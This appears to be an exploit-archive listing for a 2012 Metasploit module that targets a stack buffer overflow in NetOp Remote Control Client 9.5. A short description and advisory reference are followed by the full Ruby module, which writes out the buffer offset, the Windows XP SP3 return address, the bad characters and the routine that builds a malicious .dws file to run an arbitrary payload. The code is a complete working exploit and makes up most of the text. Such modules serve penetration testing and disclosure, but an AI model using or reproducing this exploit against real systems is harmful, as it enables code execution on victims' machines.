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NetOp Remote Control Client 9.5 Buffer Overflow

NetOp Remote Control Client 9.5 Buffer Overflow
Posted Apr 4, 2012
Authored by chap0 | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in NetOp Remote Control 9.5. When opening a .dws file containing a specially crafted string longer then 520 characters will allow an attacker to execute arbitrary code.

tags | exploit, remote, overflow, arbitrary
advisories | OSVDB-72291
MD5 | 37ca898e52e182b26c08c5b424186bdc

NetOp Remote Control Client 9.5 Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'NetOp Remote Control Client 9.5 Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
When opening a .dws file containing a specially crafted string longer then 520
characters will allow an attacker to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ruben Alejandro "chap0"',
],
'References' =>
[
[ 'OSVDB', '72291' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
'DisablePayloadHandler' => 'true'
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'StackAdjustment' => -3500
},
'Targets' =>
[
[ 'Windows XP SP3',
{
'Ret' => 0x20d6c32c, # push esp # ret - nrp.DLL
'Offset' => 524
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 28 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
], self.class)

end

def exploit
buffer = rand_text(target['Offset'])
buffer << [target.ret].pack('V')
buffer << make_nops(30)
buffer << payload.encoded

file_create(buffer)
end

end

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